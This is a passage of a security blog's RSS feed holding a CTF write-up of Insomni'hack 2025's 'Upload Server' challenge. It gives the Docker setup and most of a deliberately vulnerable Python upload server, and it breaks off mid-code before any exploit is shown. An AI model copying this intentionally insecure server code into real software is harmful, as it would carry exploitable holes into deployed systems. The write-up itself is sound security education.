<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Disconnect3d&apos;s blog</title>
    <description>Disconnect3d&apos;s Security Blog: low level security, CTF writeups and others</description>
    <link>https://disconnect3d.pl//</link>
    <atom:link href="https://disconnect3d.pl//feed.xml" rel="self" type="application/rss+xml" />
    <pubDate>Sun, 19 Apr 2026 05:13:05 +0200</pubDate>
    <lastBuildDate>Sun, 19 Apr 2026 05:13:05 +0200</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>
    
      <item>
        <title>Hijacking a Python upload server: writeup from Insomni&apos;hack CTF 2025</title>
        <description>&lt;p&gt;This blog post is a write up of an “Upload Server” challenge where we had to hack a simple server written in Python and steal a secret file (flag) from it. The task is from the Insomni’hack CTF 2025 competition that I played with my team, justCatTheFish in Lausanne, Switzerland. We scored 4th place (or 5th overall, though academic teams had separate ranking). Below you can see how it looked like :).&lt;/p&gt;

&lt;p&gt;Venue (photo from Insomni’hack twitter):
&lt;img src=&quot;https://disconnect3d.pl/assets/posts/inso2025/inso2025-venue1.jpeg&quot; alt=&quot;Venue photo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Final CTF competition scoreboard:
&lt;img src=&quot;https://disconnect3d.pl/assets/posts/inso2025/inso2025-scoreboard.png&quot; alt=&quot;Final scoreboard&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-upload-server-challenge&quot;&gt;The “Upload Server” challenge&lt;/h2&gt;

&lt;p&gt;The organizers provided us the sources: a Dockerfile and a server.py file, so we could run and hack on the task locally . In addition to that each team could spawn their own instance of the task in order to steal the actual secret flag to obtain points in the competition.&lt;/p&gt;

&lt;p&gt;If you want to replay the challenge, you can download its files &lt;a href=&quot;https://disconnect3d.pl/assets/posts/inso2025/uploadserver-7e420c6d42203d316643ea7284312e077a159e5a74124f38a37c8c10002d599b.zip&quot;&gt;here&lt;/a&gt; and you can build and run it locally with the following commands:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker build &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; serv &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
docker run &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 9000:9000 serv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The Dockerfile of the challenge was fairly trivial:&lt;/p&gt;

&lt;div class=&quot;language-dockerfile highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; python:3.10&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;INS{FAKE_FLAG!}&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /flag.txt

&lt;span class=&quot;k&quot;&gt;WORKDIR&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; /app&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;COPY&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; server.py /app/server.py&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;EXPOSE&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; 9000&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;ENTRYPOINT&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; [&quot;python3&quot;, &quot;/app/server.py&quot;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And the server.py was a bit longer, but still, only 90 lines of code:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;http.server&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;socketserver&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;cgi&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pathlib&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;USERNAME&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USERNAME&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;admin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;PASSWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PASSWORD&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;PORT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9000&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;UPLOAD_DIR&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;.&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;makedirs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UPLOAD_DIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exist_ok&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecureHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SimpleHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;authenticate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;auth_header&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Authorization&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auth_header&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auth_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Basic &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;encoded_credentials&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auth_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;decoded_credentials&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encoded_credentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;input_username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decoded_credentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;:&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;USERNAME&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PASSWORD&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;do_AUTHHEAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;401&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;WWW-Authenticate&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;Basic realm=&quot;Secure Upload Server&quot;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Content-type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;text/html&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end_headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Unauthorized Access&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;do_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authenticate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
            &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;do_AUTHHEAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;requested_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;translate_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;isfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;requested_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SimpleHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;do_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;list_directory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;requested_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;list_directory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;403&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end_headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Directory listing is disabled.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;do_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authenticate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
            &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;do_AUTHHEAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;content_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pdict&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cgi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;Content-Type&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;multipart/form-data&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;pdict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;boundary&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pdict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;boundary&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cgi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse_multipart&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pdict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;field&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;basename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;field&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UPLOAD_DIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UPLOAD_DIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())):&lt;/span&gt;
                    &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                    &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end_headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
                    &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Invalid file path&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;

                &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;wb&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
